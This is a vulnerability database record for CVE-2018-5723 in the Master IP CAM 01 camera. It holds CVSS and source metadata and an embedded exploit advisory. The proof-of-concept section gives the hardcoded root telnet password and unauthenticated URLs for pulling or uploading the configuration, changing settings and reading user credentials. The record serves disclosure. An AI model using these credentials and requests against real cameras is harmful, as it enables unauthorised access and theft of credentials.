var-201801-1646
Vulnerability from variot

MASTER IPCAMERA01 3.3.4.2103 devices have a hardcoded password of cat1029 for the root account. MASTER IPCAMERA01 The device contains a vulnerability related to the use of hard-coded credentials.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. MASTERIPCAMERA01 is an IP network camera product. An attacker could exploit this vulnerability to gain root privileges. # Exploit Title: Master IP CAM 01 Multiple Vulnerabilities

Date: 17-01-2018

Remote: Yes

Exploit Authors: Daniele Linguaglossa, Raffaele Sabato

Contact: https://twitter.com/dzonerzy, https://twitter.com/syrion89

Vendor: Master IP CAM

Version: 3.3.4.2103

CVE: CVE-2018-5723, CVE-2018-5724, CVE-2018-5725, CVE-2018-5726

I DESCRIPTION

The Master IP CAM 01 suffers of multiple vulnerabilities:

[CVE-2018-5723] Hardcoded Password for Root Account

[CVE-2018-5724] Unauthenticated Configuration Download and Upload

[CVE-2018-5725] Unauthenticated Configuration Change

[CVE-2018-5726] Unauthenticated Sensitive Information Disclousure

II PROOF OF CONCEPT

[CVE-2018-5723] Hardcoded Password for Root Account

Is possible to access telnet with the hardcoded credential root:cat1029

[CVE-2018-5724] Unauthenticated Configuration Download and Upload

Download:

http://192.168.1.15/web/cgi-bin/hi3510/backup.cgi

Upload Form:

Unauthenticated Configuration Upload

[CVE-2018-5725] Unauthenticated Configuration Change

Change configuration:

http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=sethttpport&-httport=8080

List of available commands here: http://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf

[CVE-2018-5726] Unauthenticated Sensitive Information Disclousure

Retrieve sensitive information:

http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=getuser

III REFERENCES

http://syrion.me/blog/master-ipcam/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5723 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5724 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5725 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5726 http://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf

Show details on source website

To clipboard 

{
  "affected_products": {
    "_id": null,
    "data": [
      {
        "_id": null,
        "model": "master ip camera01",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "barni",
        "version": "3.3.4.2103"
      },
      {
        "_id": null,
        "model": "master ipcamera01",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "barni carlo",
        "version": "3.3.4.2103"
      },
      {
        "_id": null,
        "model": "ipcamera01",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "master",
        "version": "3.3.4.2103"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-02191"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-001496"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-572"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5723"
      }
    ]
  },
  "configurations": {
    "_id": null,
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "cpe_match": [
              {
                "cpe22Uri": "cpe:/o:barni:master_ip_camera01_firmware",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-001496"
      }
    ]
  },
  "credits": {
    "_id": null,
    "data": "Daniele Linguaglossa, Raffaele Sabato",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "145935"
      }
    ],
    "trust": 0.1
  },
  "cve": "CVE-2018-5723",
  "cvss": {
    "_id": null,
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "CVE-2018-5723",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 1.9,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2018-02191",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "VHN-135755",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.1,
            "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 3.9,
            "id": "CVE-2018-5723",
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.8,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2018-5723",
            "trust": 1.0,
            "value": "CRITICAL"
          },
          {
            "author": "NVD",
            "id": "CVE-2018-5723",
            "trust": 0.8,
            "value": "Critical"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2018-02191",
            "trust": 0.6,
            "value": "HIGH"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201801-572",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "VULHUB",
            "id": "VHN-135755",
            "trust": 0.1,
            "value": "HIGH"
          },
          {
            "author": "VULMON",
            "id": "CVE-2018-5723",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-02191"
      },
      {
        "db": "VULHUB",
        "id": "VHN-135755"
      },
      {
        "db": "VULMON",
        "id": "CVE-2018-5723"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-001496"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-572"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5723"
      }
    ]
  },
  "description": {
    "_id": null,
    "data": "MASTER IPCAMERA01 3.3.4.2103 devices have a hardcoded password of cat1029 for the root account. MASTER IPCAMERA01 The device contains a vulnerability related to the use of hard-coded credentials.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. MASTERIPCAMERA01 is an IP network camera product. An attacker could exploit this vulnerability to gain root privileges. # Exploit Title: Master IP CAM 01 Multiple Vulnerabilities\n# Date: 17-01-2018\n# Remote: Yes\n# Exploit Authors: Daniele Linguaglossa, Raffaele Sabato\n# Contact: https://twitter.com/dzonerzy, https://twitter.com/syrion89\n# Vendor: Master IP CAM\n# Version: 3.3.4.2103\n# CVE: CVE-2018-5723, CVE-2018-5724, CVE-2018-5725, CVE-2018-5726\n \nI DESCRIPTION\n========================================================================\nThe Master IP CAM 01 suffers of multiple vulnerabilities:\n \n# [CVE-2018-5723] Hardcoded Password for Root Account\n# [CVE-2018-5724] Unauthenticated Configuration Download and Upload\n# [CVE-2018-5725] Unauthenticated Configuration Change\n# [CVE-2018-5726] Unauthenticated Sensitive Information Disclousure\n \n \nII PROOF OF CONCEPT\n========================================================================\n \n## [CVE-2018-5723] Hardcoded Password for Root Account\n \nIs possible to access telnet with the hardcoded credential root:cat1029\n \n \n## [CVE-2018-5724] Unauthenticated Configuration Download and Upload\n \nDownload:\n \nhttp://192.168.1.15/web/cgi-bin/hi3510/backup.cgi\n \nUpload Form:\n \n### Unauthenticated Configuration Upload\n\u003cform name=\"form6\" method=\"post\" enctype=\"multipart/form-data\"\naction=\"cgi-bin/hi3510/restore.cgi\" \u003e\n\u003cinput type=\"file\" name=\"setting_file\" \u003e\n\u003cinput type=\"submit\" value=\"restore\" \u003e\n\u003c/form\u003e\n \n \n## [CVE-2018-5725] Unauthenticated Configuration Change\n \nChange configuration:\n \nhttp://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=sethttpport\u0026-httport=8080\n \nList of available commands here:\nhttp://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf\n \n \n## [CVE-2018-5726] Unauthenticated Sensitive Information Disclousure\n \nRetrieve sensitive information:\n \nhttp://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=getuser\n \n \nIII REFERENCES\n========================================================================\nhttp://syrion.me/blog/master-ipcam/\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5723\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5724\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5725\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5726\nhttp://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf\n\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2018-5723"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-001496"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-02191"
      },
      {
        "db": "VULHUB",
        "id": "VHN-135755"
      },
      {
        "db": "VULMON",
        "id": "CVE-2018-5723"
      },
      {
        "db": "PACKETSTORM",
        "id": "145935"
      }
    ],
    "trust": 2.43
  },
  "exploit_availability": {
    "_id": null,
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-135755",
        "trust": 0.1,
        "type": "unknown"
      },
      {
        "reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=43693",
        "trust": 0.1,
        "type": "exploit"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-135755"
      },
      {
        "db": "VULMON",
        "id": "CVE-2018-5723"
      }
    ]
  },
  "external_ids": {
    "_id": null,
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2018-5723",
        "trust": 3.3
      },
      {
        "db": "PACKETSTORM",
        "id": "145935",
        "trust": 1.3
      },
      {
        "db": "EXPLOIT-DB",
        "id": "43693",
        "trust": 1.2
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-001496",
        "trust": 0.8
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-572",
        "trust": 0.7
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-02191",
        "trust": 0.6
      },
      {
        "db": "VULHUB",
        "id": "VHN-135755",
        "trust": 0.1
      },
      {
        "db": "VULMON",
        "id": "CVE-2018-5723",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-02191"
      },
      {
        "db": "VULHUB",
        "id": "VHN-135755"
      },
      {
        "db": "VULMON",
        "id": "CVE-2018-5723"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-001496"
      },
      {
        "db": "PACKETSTORM",
        "id": "145935"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-572"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5723"
      }
    ]
  },
  "id": "VAR-201801-1646",
  "iot": {
    "_id": null,
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-02191"
      },
      {
        "db": "VULHUB",
        "id": "VHN-135755"
      }
    ],
    "trust": 1.7
  },
  "iot_taxonomy": {
    "_id": null,
    "data": [
      {
        "category": [
          "Network device"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-02191"
      }
    ]
  },
  "last_update_date": "2024-11-23T21:53:28.301000Z",
  "patch": {
    "_id": null,
    "data": [
      {
        "title": "Top Page",
        "trust": 0.8,
        "url": "http://www.barni.it/"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-001496"
      }
    ]
  },
  "problemtype_data": {
    "_id": null,
    "data": [
      {
        "problemtype": "CWE-798",
        "trust": 1.9
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-135755"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-001496"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5723"
      }
    ]
  },
  "references": {
    "_id": null,
    "data": [
      {
        "trust": 3.3,
        "url": "http://syrion.me/blog/master-ipcam/"
      },
      {
        "trust": 1.3,
        "url": "https://www.exploit-db.com/exploits/43693/"
      },
      {
        "trust": 1.2,
        "url": "https://packetstormsecurity.com/files/145935/master-ip-cam-01-hardcoded-password-unauthenticated-access.html"
      },
      {
        "trust": 0.9,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-5723"
      },
      {
        "trust": 0.9,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2018-5723"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/798.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-5726"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=getuser"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2018-5726"
      },
      {
        "trust": 0.1,
        "url": "https://twitter.com/syrion89"
      },
      {
        "trust": 0.1,
        "url": "http://www.themadhermit.net/wp-content/uploads/2013/03/fi9821w-cgi-commands.pdf"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2018-5725"
      },
      {
        "trust": 0.1,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-5725"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2018-5724"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=sethttpport\u0026-httport=8080"
      },
      {
        "trust": 0.1,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-5724"
      },
      {
        "trust": 0.1,
        "url": "https://twitter.com/dzonerzy,"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.15/web/cgi-bin/hi3510/backup.cgi"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-02191"
      },
      {
        "db": "VULHUB",
        "id": "VHN-135755"
      },
      {
        "db": "VULMON",
        "id": "CVE-2018-5723"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-001496"
      },
      {
        "db": "PACKETSTORM",
        "id": "145935"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-572"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5723"
      }
    ]
  },
  "sources": {
    "_id": null,
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-02191",
        "ident": null
      },
      {
        "db": "VULHUB",
        "id": "VHN-135755",
        "ident": null
      },
      {
        "db": "VULMON",
        "id": "CVE-2018-5723",
        "ident": null
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-001496",
        "ident": null
      },
      {
        "db": "PACKETSTORM",
        "id": "145935",
        "ident": null
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-572",
        "ident": null
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5723",
        "ident": null
      }
    ]
  },
  "sources_release_date": {
    "_id": null,
    "data": [
      {
        "date": "2018-01-30T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2018-02191",
        "ident": null
      },
      {
        "date": "2018-01-16T00:00:00",
        "db": "VULHUB",
        "id": "VHN-135755",
        "ident": null
      },
      {
        "date": "2018-01-16T00:00:00",
        "db": "VULMON",
        "id": "CVE-2018-5723",
        "ident": null
      },
      {
        "date": "2018-02-21T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2018-001496",
        "ident": null
      },
      {
        "date": "2018-01-17T03:33:33",
        "db": "PACKETSTORM",
        "id": "145935",
        "ident": null
      },
      {
        "date": "2018-01-17T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201801-572",
        "ident": null
      },
      {
        "date": "2018-01-16T22:29:00.287000",
        "db": "NVD",
        "id": "CVE-2018-5723",
        "ident": null
      }
    ]
  },
  "sources_update_date": {
    "_id": null,
    "data": [
      {
        "date": "2018-01-30T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2018-02191",
        "ident": null
      },
      {
        "date": "2018-02-05T00:00:00",
        "db": "VULHUB",
        "id": "VHN-135755",
        "ident": null
      },
      {
        "date": "2018-02-05T00:00:00",
        "db": "VULMON",
        "id": "CVE-2018-5723",
        "ident": null
      },
      {
        "date": "2018-02-21T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2018-001496",
        "ident": null
      },
      {
        "date": "2018-01-17T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201801-572",
        "ident": null
      },
      {
        "date": "2024-11-21T04:09:14.937000",
        "db": "NVD",
        "id": "CVE-2018-5723",
        "ident": null
      }
    ]
  },
  "threat_type": {
    "_id": null,
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-572"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "_id": null,
    "data": "MASTER IPCAMERA01 Vulnerabilities related to the use of hard-coded credentials on devices",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-001496"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "_id": null,
    "data": "lack of information",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-572"
      }
    ],
    "trust": 0.6
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.